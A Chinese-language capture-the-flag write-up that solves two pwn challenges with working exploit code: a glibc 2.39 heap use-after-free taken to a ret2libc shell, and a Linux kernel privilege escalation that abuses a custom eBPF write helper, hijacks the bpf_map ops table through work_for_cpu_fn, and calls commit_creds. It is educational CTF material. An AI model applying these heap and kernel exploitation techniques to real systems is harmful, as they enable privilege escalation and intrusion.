BITs2CTF 2025 Writeup Part 2
$Id: wp_bits2ctf_2025_2.org,v 26.1 2026/01/24 10:58:14 dongdigua Exp $
这两道是有一些难度,比赛时没做出来的
1. pwn - 物理实验选课系统
|-------------------------------------| | BITs2CTF ~ 物理实验课,我们喜欢你 | |-------------------------------------| 物理实验课,我们喜欢你~↑🎶👋🏼🤓👋🏼🎤 我们喜欢磁感线,密立根,弗兰克~😍 物理实验课,我们喜欢你~↑🎶🤓👐🏻 光干涉,RLC,普朗克,示~波~器~🎶😋 [*] 欢迎来到「BIT ~ 物理实验选课」网站
[!] 【旷课扣分提醒!!!】各位同学:请务必按时上课,如不课前自行退选实验,不来上课的属于旷课,每次旷课,期末课程总分扣3分!!!
一道典型的堆 UAF,GLIBC_2.39,delete_course 之后还可以 r/w 那个指针。
使用 unsorted bin + tcache + environ
先是 tcache 泄露堆基址,unsorted bin 泄露 libc 基址
add_lecture(4, 65) #1 add_lecture(9, 2) #2 add_lecture(9, 2) #3 delete_lecture(1) delete_lecture(2) delete_lecture(3) show_lecture(1) unsorted_fdbk = u64(io.recv(8)) main_arena = unsorted_fdbk - 0x60 libc_base = main_arena - 0x0203AC0 print('libc_base', hex(libc_base)) environ = libc_base + 0x7f3c1a20ad58 - 0x7f3c1a000000 show_lecture(2) tcache_aslr_base = u64(io.recv(8)) tcache_key = u64(io.recv(8)) print(hex(tcache_aslr_base))
然后 tcache poisoning 使下一个 malloc 返回 environ-24,泄露栈指针
pwndbg> telescope &environ 00:0000│ 0x7f489dc0ad58 (environ) —▸ 0x7ffc9bc75308 —▸ 0x7ffc9bc757e1 ◂— 'COLORTERM=truecolor'
(因为注意到这里 environ 不是 16 对齐的,然后发现 environ-8 会把 environ 里的指针清零)
edit_lecture(3, p64((environ-24) ^ tcache_aslr_base)) add_lecture(9, 2) #4 add_lecture(9, 2) #5 show_lecture(5) io.recv(24) stack_addr = u64(io.recv(8)) print(hex(stack_addr))
再来一个 tcache poisoning 使 malloc 返回栈指针
rbp_addr = stack_addr - 0xab058 + 0xaaf10 add_lecture(9, 3) #6 add_lecture(4, 3) #7 delete_lecture(6) delete_lecture(7) edit_lecture(7, p64((rbp_addr) ^ tcache_aslr_base)) add_lecture(4, 3) #8 add_lecture(4, 3) #9
最后直接 ret2libc
poprdiret = 0x000000000010f78b ret = 0x000000000002882f binsh = 0x00000000001cb42f system = elf.libc.symbols["system"] edit_lecture(9, cyclic(8) + p64(poprdiret+libc_base) + p64(binsh+libc_base) + p64(ret+libc_base) + p64(system+libc_base+1)) # gdb.attach(io) sla('操作:', '5') io.sendline('cat /flag') io.interactive()
2. pwn - 🥷忍术🥷「写死你 • 内核原语」
这是我做的第一道内核题哈哈。
bpf 板子参考 马老师
首先知道我们手头有什么,目标是什么。
BPF_CALL_3(bpf_bits2bpf, struct bpf_map *, map, s64, offset, u64, val) { s64 *map_ptr = (s64 *)(map); if (offset >= 0x0 && offset < (0x200 / 0x8)) { // 写死你, // 内核原语(Kernel Primitive) map_ptr[offset] = val; return 0; } return 1; }
现在有的是 struct bpf_map 中前 0x200 的任意写,bpf_map 只有 240 大小,意味着可以写到外面去。
但这点大小对于内核空间来说还是太小了,肯定不能用于任意地址写。
目标是把当前进程改为 uid0,那么有两种办法,将 task_struct 中 cred 改为 &init_cred,或 commit_cred(&init_cred)。
前者需要一个任意地址写,后者需要执行函数。
最初,一个很朴素的想法就是修改 bpf_map 中的 max_entries 为 -1,就可以 OOB 读写,
#define BPF_FUNC_bits2bpf 212 #define EVIL_MAX_ENTRIES_VALUE 0xFFFFFFFF00000008 #define MAP_MAX_ENTRIES_OFFSET_S64 4 int bpf_prog_load_once(int map_fd) { const struct bpf_insn insns[] = { BPF_LD_MAP_FD(BPF_REG_1, map_fd), // r2 = offset (s64 index) BPF_MOV64_IMM(BPF_REG_2, MAP_MAX_ENTRIES_OFFSET_S64), // r3 = value (new max_entries) BPF_LD_IMM64_RAW(BPF_REG_3, 0, EVIL_MAX_ENTRIES_VALUE), // Call helper bits2bpf(map, offset, val) BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_bits2bpf), // Exit BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN() }; ... } int main() { ... uint32_t key = 114514; uint64_t val = 0; if (bpf_lookup_elem(map_fd, &key, &val) == 0) { printf("[+] OOB Read Successful! Val at idx %d: 0x%lx\n", key, val); } else { error(1, "[-] Exploit failed: max_entries not corrupted."); } }
那么 如果 task_struct 在 bpf_map 的高地址,就可以按 comm 找到并修改 cred。(然而最后发现实在低地址)
然后就翻好多资料,发现了这几个 很(可)有(以)帮(照)助(抄):
- d3ctf2022-pwn-d3bpf-and-v2
- Kernel Pwning with eBPF: a Love Story
- Linux Kernel Privilege Escalation via Improper eBPF Program Verification
首先是任意地址读,可以通过把 bpf_map 中的 btf 写成 someaddr - offsetof(struct btf, id),
然后 BPF_OBJ_GET_INFO_BY_FD 就能返回一个 u32
#define OFFSET_FROM_DATA_TO_BTF_ID 0x58 uint32_t kernel_read_uint32(int map_fd, uintptr_t addr) { const struct bpf_insn insns[] = { BPF_LD_MAP_FD(BPF_REG_1, map_fd), // r2 = offset (s64 index) BPF_MOV64_IMM(BPF_REG_2, BTF_OFFSET_S64), // r3 = value (btf) BPF_LD_IMM64(BPF_REG_3, addr - OFFSET_FROM_DATA_TO_BTF_ID), // Call helper bits2bpf(map, offset, val) BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_bits2bpf), // Exit BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN() }; union bpf_attr attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insns = ptr_to_u64(&insns), .insn_cnt = sizeof(insns) / sizeof(struct bpf_insn), .license = ptr_to_u64("GPL"), .log_buf = ptr_to_u64(bpf_log_buf), .log_size = LOG_BUF_SIZE, .log_level = 2, }; int prog_fd = bpf(BPF_PROG_LOAD, &attr, sizeof(attr)); if (prog_fd < 0) err(1, "Error while loading bpf program (kernel_read)"); int ret = trigger1(prog_fd); if (ret < 0) err(1, "Error while trigger bpf program"); struct bpf_map_info info = {0}; union bpf_attr info_attr = { .info.bpf_fd = map_fd, .info.info = (long long unsigned int) &info, .info.info_len = sizeof(info) }; ret = bpf(BPF_OBJ_GET_INFO_BY_FD, &info_attr, sizeof(info_attr)); if (ret < 0) err(1, "Failed to get map info"); close(prog_fd); // !!! return info.btf_id; }
好,那现在拿到这个有什么用呢?[1] 和 [3] 都用了 init_pid_ns 和基数树,Gemini 告诉我可以直接顺着 init_task->tasks 链表遍历(由于 nokaslr)
然后判断一下 comm 是否为当前进程名 exploit 就行,这样就拿到了当前进程的 task_struct
延续之前的思路,如果我能找到 task_struct 与 bpf_array 的相对偏移,就能利用上文的 OOB 写改 cred。
那问题就变成了找 bpf_array 的地址,既然都找到了 task_struct,这并不难,因为 map_fd 就是一个当前进程的 fd。
uintptr_t find_bpf_map_addr(int map_fd, uintptr_t task) { // task_struct->files uintptr_t files_addr; kernel_read(map_fd, task + TASK_FILES_OFF, sizeof(uintptr_t), &files_addr); printf("struct files_struct *\t%p\n", files_addr); // task_struct->files->fd_array[map_fd] uintptr_t map_file_addr; kernel_read(map_fd, files_addr + FILES_STRUCT_FDARRAY_OFF + 8 * map_fd , sizeof(uintptr_t), &map_file_addr); printf("struct file *\t%p\n", map_file_addr); // task_struct->files->fd_array[map_fd]->private_data uintptr_t bpf_map_addr; kernel_read(map_fd, map_file_addr + FILE_PRIVATE_DATA_OFF, sizeof(uintptr_t), &bpf_map_addr); printf("struct bpf_map *\t%p\n", bpf_map_addr); ...
然后我就发现,task_struct 是在 bpf_map 更高的地址,难怪最开始的想法走不通。
其实到了这一步,也就快完成了。[3] 中提到了可以替换 map_push_elem 为 map_get_next_key 达成任意地址写,
但 [1] 中用的是 work_for_cpu_fn,问 Gemini,告诉我这是个万能 gadget。
struct work_for_cpu { struct work_struct work; long (*fn)(void *); void *arg; long ret; }; static void work_for_cpu_fn(struct work_struct *work) { struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work); wfc->ret = wfc->fn(wfc->arg); }
剩下的就是把 vtable 拷出来一份,把 map_get_next_key 改成 work_for_cpu_fn,写回 map,再把地址写回 ops,
而元素的地址其实就在 bpf_map 后面。
struct bpf_array { struct bpf_map map; u32 elem_size; u32 index_mask; struct bpf_array_aux *aux; union { DECLARE_FLEX_ARRAY(char, value) __aligned(8); DECLARE_FLEX_ARRAY(void *, ptrs) __aligned(8); DECLARE_FLEX_ARRAY(void __percpu *, pptrs) __aligned(8); }; };
...
// (struct bpf_map *)(task_struct->files->fd_array[map_fd]->private_data)->ops
uintptr_t map_ops_addr;
kernel_read(map_fd, bpf_map_addr, sizeof(uintptr_t), &map_ops_addr);
printf("struct bpf_map_ops *\t%p\n", map_ops_addr);
uintptr_t array_map_ops[5] = {0}; // only need first 5 ops actually
kernel_read(map_fd, map_ops_addr, 5 * 8, array_map_ops);
printf("map_get_next_key = %p\n", array_map_ops[4]);
array_map_ops[4] = work_for_cpu_fn_addr;
uint64_t key = 0;
bpf_update_elem(map_fd, &key, array_map_ops, 0);
const struct bpf_insn insns[] = {
BPF_LD_MAP_FD(BPF_REG_1, map_fd),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_LD_IMM64(BPF_REG_3, bpf_map_addr + MAP_DATA_OFF),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_bits2bpf),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insns = ptr_to_u64(&insns),
.insn_cnt = sizeof(insns) / sizeof(struct bpf_insn),
.license = ptr_to_u64("GPL"),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 2,
};
int prog_fd = bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
if (prog_fd < 0)
err(1, "Error while loading bpf program (hijack)");
int ret = trigger1(prog_fd);
if (ret < 0)
err(1, "Error while trigger bpf program");
puts("[+] hijack vtable done.");
}
之后就是再利用题目的内核原语,把 bpf_map 改成 work_for_cpu 的形式,调用 BPF_MAP_GET_NEXT_KEY 就能执行 commit_cred(&init_cred) 了。
void load_work(int map_fd) { const struct bpf_insn insns[] = { BPF_LD_MAP_FD(BPF_REG_1, map_fd), BPF_MOV64_IMM(BPF_REG_2, 32/8), BPF_LD_IMM64(BPF_REG_3, commit_cred), // long int (*fn)(void *) BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_bits2bpf), BPF_LD_MAP_FD(BPF_REG_1, map_fd), BPF_MOV64_IMM(BPF_REG_2, 40/8), BPF_LD_IMM64(BPF_REG_3, init_cred), // void * arg BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_bits2bpf), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN() }; ...